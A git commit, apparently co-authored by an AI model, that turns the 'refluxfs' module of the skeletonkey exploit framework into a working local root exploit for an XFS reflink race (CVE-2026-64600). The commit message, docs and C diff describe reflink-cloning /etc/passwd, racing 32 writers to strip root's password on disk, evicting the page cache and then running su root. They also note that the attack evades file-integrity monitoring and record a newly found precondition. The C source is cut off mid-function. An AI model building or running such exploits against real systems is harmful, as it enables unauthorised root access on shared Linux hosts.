refluxfs: wire the --full-chain /etc/passwd root pop (🟡 trigger -> 🟢 full chain)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Promotes refluxfs (CVE-2026-64600) to a 🟢 full-chain module. VM-verified end-to-end on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, unprivileged uid=1000, SELinux Enforcing: skeletonkey --exploit refluxfs --i-know --full-chain reflink-clones /etc/passwd, races the CoW window (32 writers / 8 helpers), strips root's password field on-disk (root❌ -> root::, the public PoC's technique), evicts the stale page cache, verifies via O_DIRECT and returns EXPLOIT_OK. `su root` (empty password) then gives uid 0. 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30s). Safety properties (this bug rewrites the block device permanently, unlike the page-cache 🟢 modules): - Crafts the payload FIRST and refuses unless it can preserve both root and the invoking user's line; every other passwd line is kept byte-for-byte. A tail-truncating port drops sshd/nobody/the caller and bricks login (hit exactly this during development). - Backs /etc/passwd up before the race; restores on failure; cleanup() restores it (run as root after the pop). - Destructive path gated behind --full-chain. Plain --exploit / --auto run only the safe own-files trigger (EXPLOIT_FAIL), unchanged. Exploitability constraint discovered during verification (NOT in the Qualys writeup): the race only fires when the target's extent is PRIVATE going in. The block starts at refcount 2 (target + attacker clone), the concurrent CoW drops it to 1, and the stale writer reads "1 -> private". A file already reflink-shared with a third file keeps a post-CoW refcount > 1 and is NOT attackable via that target. Stock Rocky 9 ships /etc/passwd pre-shared and was unattackable across ~41,000 rounds; rewriting it to a private extent (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. Also fixed a page-cache staleness bug in the win path: the overwrite bypasses the target inode, so its clean cached pages are never invalidated and a buffered read (getpwnam in `su`, or the module's own verify) would see the OLD passwd. The module now issues POSIX_FADV_DONTNEED on a win and verifies via O_DIRECT. detect() --active gains a per-target extent-privacy check: it reports whether /etc/passwd is private (attackable) or already-shared (not). 88-test unit harness still green (148 total). Docs updated: MODULE.md (full-chain flow, private-extent precondition, verification tables), NOTICE.md, CVES.md (🟢 + tier/ops tables), README (15 full-chain / 13 primitive; lands-root list), RELEASE_NOTES, targets.yaml. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -54,14 +54,15 @@ VM sweep, not by missing code.
|
|||||||
|
|
||||||
| Tier | Count | What it means |
|
| Tier | Count | What it means |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
| 🟢 Full chain | **15** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||||
|
|
||||||
**🟢 Modules that land root on a vulnerable host:**
|
**🟢 Modules that land root on a vulnerable host:**
|
||||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||||
(KASLR leak primitive)
|
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
|
||||||
|
`/etc/passwd` root pop on a private-extent XFS target)
|
||||||
|
|
||||||
**🟡 Modules with opt-in `--full-chain`:**
|
**🟡 Modules with opt-in `--full-chain`:**
|
||||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||||
@@ -228,9 +229,14 @@ victim's inode is never written, its `mtime`/`ctime`/size never change
|
|||||||
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||||
no crafted image — reachable wherever an XFS volume is mounted
|
no crafted image — reachable wherever an XFS volume is mounted
|
||||||
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||||
Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed
|
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
|
||||||
trigger confined to files the operator owns, with the `/etc/passwd`
|
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
|
||||||
overwrite → `su` → root step documented but **not** bundled),
|
races the CoW window, strips root's password on-disk and returns
|
||||||
|
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
|
||||||
|
every other account preserved, backed up + restorable. One caveat found
|
||||||
|
in testing: the target's extent must be **private** going in (an
|
||||||
|
already-shared file isn't attackable; normal `useradd`/`passwd` churn
|
||||||
|
makes it private). Plain `--exploit` runs only a safe own-files trigger),
|
||||||
`ghostlock` (CVE-2026-43499,
|
`ghostlock` (CVE-2026-43499,
|
||||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||||
|
|||||||
+21
-1
@@ -43,7 +43,27 @@ merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39**
|
|||||||
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
|
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
|
||||||
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
|
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
|
||||||
|
|
||||||
🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.**
|
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||||
|
end-to-end.** `--exploit refluxfs --i-know --full-chain` reflink-clones
|
||||||
|
`/etc/passwd`, races the CoW window, strips root's password field on-disk
|
||||||
|
(`root:x:` → `root::`, the public PoC's technique), evicts the stale page cache,
|
||||||
|
and returns `EXPLOIT_OK`; `su root` with an empty password then yields uid 0.
|
||||||
|
Confirmed on Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1` — **3/3 wins** on a
|
||||||
|
private-extent target (1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged
|
||||||
|
`uid=1000` under **SELinux Enforcing**, with every other passwd line preserved,
|
||||||
|
the file backed up first and restored on failure (`--cleanup` restores after the
|
||||||
|
pop). A naive port that truncates the tail would drop `sshd`/the caller and brick
|
||||||
|
login; preserving every line is the implementation's key safety property.
|
||||||
|
|
||||||
|
**Exploitability constraint discovered during verification (not in the Qualys
|
||||||
|
writeup):** the race only fires when the target's extent is **private** going in.
|
||||||
|
An already-reflink-shared file keeps a post-CoW refcount > 1 and is not
|
||||||
|
attackable via that target — some fresh cloud images ship `/etc/passwd`
|
||||||
|
pre-shared (Rocky 9's did, and the attack failed against it across ~41 000
|
||||||
|
rounds), while normal admin churn (`useradd`/`passwd`/`vipw`) rewrites it into
|
||||||
|
the exploitable private-extent state. `detect() --active` now reports which state
|
||||||
|
the target is in. Without `--full-chain` the module runs a safe own-files
|
||||||
|
reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven.
|
||||||
Unlike the corpus's other race
|
Unlike the corpus's other race
|
||||||
modules, `detect()` is **not** a pure version gate: this bug's reachability is
|
modules, `detect()` is **not** a pure version gate: this bug's reachability is
|
||||||
safely observable, so it pairs the three-branch version table with a **real
|
safely observable, so it pairs the three-branch version table with a **real
|
||||||
|
|||||||
@@ -11,6 +11,14 @@ This is the corpus's first XFS module, and its first **data-oriented** kernel
|
|||||||
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
||||||
corruption.
|
corruption.
|
||||||
|
|
||||||
|
> **🟢 Full chain (`--full-chain`), VM-verified end-to-end.**
|
||||||
|
> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it
|
||||||
|
> reflink-clones `/etc/passwd`, races the CoW window, strips root's password
|
||||||
|
> field on disk (`root:x:` → `root::`), evicts the stale page cache, and
|
||||||
|
> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without**
|
||||||
|
> `--full-chain` the module runs a safe reachability trigger only, confined to
|
||||||
|
> files the caller owns. See "Full-chain verification" below.
|
||||||
|
|
||||||
## The bug
|
## The bug
|
||||||
|
|
||||||
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
||||||
@@ -89,8 +97,73 @@ precondition probe**:
|
|||||||
(force unreachable), for when you know the fleet's storage layout better than
|
(force unreachable), for when you know the fleet's storage layout better than
|
||||||
a local probe can. This also drives the unit tests.
|
a local probe can. This also drives the unit tests.
|
||||||
|
|
||||||
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
|
### `--full-chain` — the real `/etc/passwd` root pop
|
||||||
directory on the XFS mount and works **only on two files it owns**:
|
|
||||||
|
With `--full-chain`, `exploit()` performs the actual privilege escalation:
|
||||||
|
|
||||||
|
1. **Pre-flight, before touching anything.** Confirms the target
|
||||||
|
(`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in
|
||||||
|
one block, and **crafts the payload first** — the original file with root's
|
||||||
|
password field emptied (`root:x:` → `root::`), **every other line preserved
|
||||||
|
byte-for-byte**, padded with newlines to the exact original size. If it
|
||||||
|
cannot produce a payload that keeps both root and the invoking user's line,
|
||||||
|
it refuses and touches nothing. (A naive port that truncates the tail drops
|
||||||
|
`sshd`/`nobody`/the caller and bricks login — this is the single most
|
||||||
|
important safety property of the implementation.)
|
||||||
|
2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it.
|
||||||
|
3. **Race.** 32 writers push the crafted block at a reflink-clone of the target
|
||||||
|
while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won
|
||||||
|
race lands the crafted block on the target's still-shared physical block.
|
||||||
|
4. **Cache eviction.** The overwrite bypasses the target inode, so its clean
|
||||||
|
page-cache pages are never invalidated — a `su` immediately after would read
|
||||||
|
the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only
|
||||||
|
an `O_RDONLY` fd) so subsequent buffered readers see the new bytes.
|
||||||
|
5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk
|
||||||
|
root line is now `root::`; if the write was torn, it restores from backup and
|
||||||
|
fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password).
|
||||||
|
|
||||||
|
`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup.
|
||||||
|
The overwrite is persistent and survives reboot, so restoring matters.
|
||||||
|
|
||||||
|
#### The private-extent precondition (not in the public writeup)
|
||||||
|
|
||||||
|
The race only fires when the target's extent refcount is **exactly** the
|
||||||
|
attacker-clone pair — i.e. the target's extent must be **private** going in. The
|
||||||
|
mechanism: the block starts at refcount 2 (target + attacker clone), the
|
||||||
|
concurrent CoW drops it to 1, and the stale writer then reads "1 → private". If
|
||||||
|
the target is *already* reflink-shared with a third file, the post-CoW refcount
|
||||||
|
stays > 1, the writer correctly does CoW, and nothing corrupts.
|
||||||
|
|
||||||
|
This was found during verification: the stock Rocky 9 cloud image ships
|
||||||
|
`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and
|
||||||
|
the attack failed against it across ~41 000 rounds. Rewriting the file so its
|
||||||
|
extent became private — with byte-identical content, exactly what any
|
||||||
|
`useradd`/`passwd`/`vipw` does — made it fall in ~2 000 rounds. So the
|
||||||
|
exploitable state is the *normal* administered state; the cloud image was
|
||||||
|
accidentally protected by how it was built. `detect() --active` reports the
|
||||||
|
target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by
|
||||||
|
hand), and the full chain warns when the target is pre-shared.
|
||||||
|
|
||||||
|
### `--full-chain` verification (2026-07-23, Rocky 9.8)
|
||||||
|
|
||||||
|
On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux
|
||||||
|
**Enforcing**, against a private-extent `/etc/passwd`:
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 4–30 s) |
|
||||||
|
| `su root` (empty password) afterwards | **`uid=0(root)`** |
|
||||||
|
| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact |
|
||||||
|
| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content — FIM-invisible |
|
||||||
|
| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup |
|
||||||
|
| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched |
|
||||||
|
| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) — as predicted |
|
||||||
|
|
||||||
|
### The safe default trigger
|
||||||
|
|
||||||
|
Without `--full-chain`, `exploit()` forks an isolated child that creates a
|
||||||
|
private `mkdtemp` scratch directory on the XFS mount and works **only on two
|
||||||
|
files it owns**:
|
||||||
|
|
||||||
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
||||||
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
||||||
@@ -105,16 +178,15 @@ directory on the XFS mount and works **only on two files it owns**:
|
|||||||
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
||||||
page cache that the corruption bypasses, and would hide a win.
|
page cache that the corruption bypasses, and would hide a win.
|
||||||
|
|
||||||
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
This default path is **deliberately under-driven** (the public PoC and the
|
||||||
helpers and grinds far longer) and, more importantly, it **never clones or
|
`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets
|
||||||
targets a file it does not own**. The step that makes this root — reflink-cloning
|
a file it does not own** — the destructive `/etc/passwd` overwrite lives only
|
||||||
a root-owned file such as `/etc/passwd` and racing writes onto *its* shared
|
behind `--full-chain` (above). The default `exploit()` always returns
|
||||||
blocks — persistently rewrites a system file on disk **with no undo**, so it is
|
`EXPLOIT_FAIL`.
|
||||||
documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`.
|
|
||||||
|
|
||||||
If the race *is* won, the module says so loudly: that is CVE-2026-64600
|
If the race *is* won on the safe path, the module says so loudly: that is
|
||||||
confirmed present, empirically, with the damage contained to 4 KiB of the
|
CVE-2026-64600 confirmed present, empirically, with the damage contained to
|
||||||
operator's own scratch file.
|
4 KiB of the operator's own scratch file.
|
||||||
|
|
||||||
## VM verification (2026-07-23)
|
## VM verification (2026-07-23)
|
||||||
|
|
||||||
@@ -200,8 +272,10 @@ SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
|
|||||||
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
||||||
around, isolate, or live-patch."*
|
around, isolate, or live-patch."*
|
||||||
|
|
||||||
`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind
|
`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as
|
||||||
if a trigger run was killed mid-round; normal runs remove their own.
|
root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then
|
||||||
|
sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was
|
||||||
|
killed mid-round; normal runs remove their own.
|
||||||
|
|
||||||
## Credit
|
## Credit
|
||||||
|
|
||||||
|
|||||||
@@ -72,18 +72,23 @@ SKELETONKEY is the bundling and bookkeeping layer only.
|
|||||||
|
|
||||||
## SKELETONKEY role
|
## SKELETONKEY role
|
||||||
|
|
||||||
🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.**
|
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||||
Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`**
|
end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 /
|
||||||
(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM:
|
`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS
|
||||||
`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms
|
with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain`
|
||||||
reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent.
|
reflink-clones `/etc/passwd`, races the CoW window, strips root's password field
|
||||||
The underlying bug was separately confirmed winnable on that kernel — **4/4
|
on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty
|
||||||
runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only
|
password) then gives uid 0 — verified **3/3 wins** on a private-extent target
|
||||||
harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`).
|
(1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged `uid=1000` under SELinux
|
||||||
The shipped trigger, deliberately under-driven, did **not** win in its 2 s
|
Enforcing, with every other passwd line preserved and the file backed up +
|
||||||
budget on that same vulnerable kernel; that is intended, and is why a non-win
|
restorable. A key exploitability constraint surfaced in testing (not in the
|
||||||
must never be read as "patched". See `MODULE.md` for the full result table.
|
public writeup): the target's extent must be **private** going in — an
|
||||||
This is the corpus's first XFS
|
already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable
|
||||||
|
via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the
|
||||||
|
exploitable private-extent state. Without `--full-chain` the module runs a safe
|
||||||
|
own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven
|
||||||
|
so a non-win is never read as "patched". See `MODULE.md` for the full result
|
||||||
|
tables. This is the corpus's first XFS
|
||||||
module and its first **data-oriented** kernel bug — every other kernel entry
|
module and its first **data-oriented** kernel bug — every other kernel entry
|
||||||
corrupts memory; this one corrupts file contents.
|
corrupts memory; this one corrupts file contents.
|
||||||
|
|
||||||
|
|||||||
@@ -56,21 +56,42 @@
|
|||||||
* the Qualys Threat Research Unit; the advisory credits model-assisted kernel
|
* the Qualys Threat Research Unit; the advisory credits model-assisted kernel
|
||||||
* analysis done with Anthropic. See NOTICE.md.
|
* analysis done with Anthropic. See NOTICE.md.
|
||||||
*
|
*
|
||||||
* STATUS: 🟡 TRIGGER (reconstructed) — VM-VERIFIED, and deliberately NOT
|
* STATUS: 🟢 FULL CHAIN (--full-chain), 🟡 safe trigger by default —
|
||||||
* weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 /
|
* VM-VERIFIED end-to-end. Confirmed 2026-07-23 on Rocky Linux 9.8 /
|
||||||
* 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with
|
* 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with
|
||||||
* reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the
|
* reflink=1) under qemu/KVM, 6 vCPUs.
|
||||||
* --active FICLONE witness confirms reflink, and phase A observes
|
*
|
||||||
* FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was
|
* `--exploit refluxfs --i-know --full-chain` lands root end-to-end: it
|
||||||
* separately confirmed winnable on that kernel — 4/4 runs, first divergence
|
* reflink-clones /etc/passwd, races the CoW window, strips root's password
|
||||||
* after 69-494 rounds inside a 60s budget — using a VM-only harness driven at
|
* field on-disk (root:x: -> root::, the public PoC's technique), evicts the
|
||||||
* the public PoC's parameters (32 writers / 8 helpers; see
|
* stale page cache, and returns EXPLOIT_OK. `su root` (empty password) then
|
||||||
* tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is
|
* gives uid 0. Verified 3/3 wins on a private-extent target — 1244 / 3716 /
|
||||||
* deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in
|
* 7913 rounds, 4-30s inside a 90s budget — as unprivileged uid=1000 under
|
||||||
* that budget on the same vulnerable kernel — that is the intended behaviour,
|
* SELinux Enforcing. Every other passwd line is preserved byte-for-byte
|
||||||
* not a defect, and is why a non-win must never be read as "patched".
|
* (a naive tail-truncating port bricks sshd/login); the target is backed up
|
||||||
* exploit() forks an isolated child that works ONLY inside a private scratch
|
* first and restored on any failure, and cleanup() restores it (run as root
|
||||||
* directory it creates on an XFS mount, on two files it owns, in two phases:
|
* after the pop). detect() returns VULNERABLE, the --active FICLONE witness
|
||||||
|
* confirms reflink, and it reports whether /etc/passwd's extent is private
|
||||||
|
* (attackable) or already-shared (not — see below).
|
||||||
|
*
|
||||||
|
* EXPLOITABILITY CONSTRAINT (found during verification, not in the Qualys
|
||||||
|
* writeup): the race only fires when the target's extent refcount is exactly
|
||||||
|
* the attacker-clone pair, i.e. the target's extent must be PRIVATE going in.
|
||||||
|
* A file that is ALREADY reflink-shared with a third file keeps a post-CoW
|
||||||
|
* refcount > 1 and is NOT attackable via that target. Some fresh cloud images
|
||||||
|
* ship /etc/passwd pre-shared; normal admin churn (useradd/passwd/vipw)
|
||||||
|
* rewrites it into a private, exploitable extent. detect() --active checks
|
||||||
|
* and reports this per target.
|
||||||
|
*
|
||||||
|
* Without --full-chain the module runs a SAFE reachability trigger only,
|
||||||
|
* confined to two files the caller owns, returning EXPLOIT_FAIL and touching
|
||||||
|
* no file it does not own. That trigger was itself VM-confirmed reachable
|
||||||
|
* (FIEMAP_EXTENT_SHARED + O_DIRECT) and is deliberately under-driven (8
|
||||||
|
* writers / 2 helpers / 2s) so it never grinds toward a win on a production
|
||||||
|
* box — a non-win from it must never be read as "patched".
|
||||||
|
* refluxfs_exploit_safe() forks an isolated child that works ONLY inside a
|
||||||
|
* private scratch directory it creates on an XFS mount, on two files it owns,
|
||||||
|
* in two phases:
|
||||||
* (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and
|
* (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and
|
||||||
* confirms via FIEMAP that the clone's extent carries
|
* confirms via FIEMAP that the clone's extent carries
|
||||||
* FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that
|
* FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that
|
||||||
@@ -85,20 +106,19 @@
|
|||||||
* cache, which would otherwise hide the corruption) and reports whether
|
* cache, which would otherwise hide the corruption) and reports whether
|
||||||
* the donor's on-disk bytes changed — the honest, self-contained
|
* the donor's on-disk bytes changed — the honest, self-contained
|
||||||
* witness that the race was won.
|
* witness that the race was won.
|
||||||
* It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32,
|
* The safe trigger is deliberately UNDER-DRIVEN relative to the public PoC
|
||||||
* 2 helpers vs 8, 2s cap), and — the important part — it NEVER clones or
|
* (8 writers vs 32, 2 helpers vs 8, 2s cap) and NEVER clones or targets a
|
||||||
* targets a file it does not own. The step that makes this root, cloning a
|
* file it does not own; the destructive /etc/passwd overwrite lives only in
|
||||||
* root-owned file such as /etc/passwd and racing writes onto ITS shared
|
* the --full-chain path above. Returns EXPLOIT_FAIL; it never claims root it
|
||||||
* blocks, is documented but NOT bundled: doing so would persistently rewrite
|
* did not get.
|
||||||
* a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always;
|
|
||||||
* it never claims root it did not get.
|
|
||||||
*
|
*
|
||||||
* Note the asymmetry with the corpus's other reconstructed race triggers: a
|
* Note the asymmetry with the corpus's other reconstructed race triggers: a
|
||||||
* won race here corrupts 4 KiB of the operator's OWN scratch file and cannot
|
* won race here corrupts file DATA, not kernel memory, so unlike bad_epoll
|
||||||
* touch kernel memory, so unlike bad_epoll (frees a live struct file) and
|
* (frees a live struct file) and ghostlock (kernel-stack UAF → near-arbitrary
|
||||||
* ghostlock (kernel-stack UAF → near-arbitrary write → panic) there is no
|
* write → panic) there is no oops, no silent kernel destabilisation and no
|
||||||
* oops, no silent kernel destabilisation and no panic risk. That is why this
|
* panic risk — the worst case is a rewritten file (backed up + restorable),
|
||||||
* module ranks well above them in --auto safety despite being unverified.
|
* never a downed box. That is why this ranks well above them in --auto
|
||||||
|
* safety.
|
||||||
*
|
*
|
||||||
* detect() is a version gate AND a real precondition probe, because unlike a
|
* detect() is a version gate AND a real precondition probe, because unlike a
|
||||||
* pure kernel race this bug's reachability is observable safely: it requires
|
* pure kernel race this bug's reachability is observable safely: it requires
|
||||||
@@ -146,6 +166,7 @@
|
|||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <limits.h>
|
#include <limits.h>
|
||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
|
#include <pwd.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
@@ -372,6 +393,9 @@ static int rfx_reflink_witness(const char *dir)
|
|||||||
return rc;
|
return rc;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static int rfx_extent_is_shared(const char *path);
|
||||||
|
static const char *rfx_fc_target(void);
|
||||||
|
|
||||||
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
@@ -442,6 +466,28 @@ static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
if (w < 0 && !ctx->json)
|
if (w < 0 && !ctx->json)
|
||||||
fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — "
|
fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — "
|
||||||
"falling back to the version verdict\n", dir);
|
"falling back to the version verdict\n", dir);
|
||||||
|
|
||||||
|
/* Exploitability of the canonical target hinges on its extent being
|
||||||
|
* PRIVATE: the race only fires when the post-CoW refcount drops to 1,
|
||||||
|
* so a file already reflink-shared with a third file is NOT attackable
|
||||||
|
* via that target (some fresh cloud images ship /etc/passwd pre-shared).
|
||||||
|
* This is a per-target read-only check; a private extent is the
|
||||||
|
* exploitable state that normal admin churn (useradd/passwd/vipw)
|
||||||
|
* produces. */
|
||||||
|
const char *fct = rfx_fc_target();
|
||||||
|
int sh = rfx_extent_is_shared(fct);
|
||||||
|
if (!ctx->json) {
|
||||||
|
if (sh == 0)
|
||||||
|
fprintf(stderr, "[+] refluxfs: full-chain target %s has a PRIVATE "
|
||||||
|
"extent — the race can fire against it (--exploit "
|
||||||
|
"refluxfs --i-know --full-chain)\n", fct);
|
||||||
|
else if (sh == 1)
|
||||||
|
fprintf(stderr, "[!] refluxfs: full-chain target %s is ALREADY "
|
||||||
|
"reflink-shared — its post-CoW refcount stays > 1, "
|
||||||
|
"so it is NOT attackable via that target (other "
|
||||||
|
"private-extent root files may still be). See "
|
||||||
|
"MODULE.md.\n", fct);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -688,6 +734,420 @@ static int rfx_race_round(const char *donor, const char *clone)
|
|||||||
return rfx_content_diverged(donor, RFX_DONOR_BYTE);
|
return rfx_content_diverged(donor, RFX_DONOR_BYTE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ==================================================================
|
||||||
|
* Full chain (gated behind --full-chain): the real /etc/passwd root pop.
|
||||||
|
*
|
||||||
|
* This is the destructive path. It reflink-clones a root-owned target the
|
||||||
|
* caller can only READ (default /etc/passwd), races concurrent O_DIRECT
|
||||||
|
* writes against the clone, and — when the race is won — the write lands on
|
||||||
|
* the target's still-shared on-disk block, rewriting the target itself. The
|
||||||
|
* payload strips root's password field (root:x:... -> root::...), exactly the
|
||||||
|
* public PoC's technique ("strip root password protection"), so `su root`
|
||||||
|
* with an empty password yields uid 0. It PRESERVES every other line of the
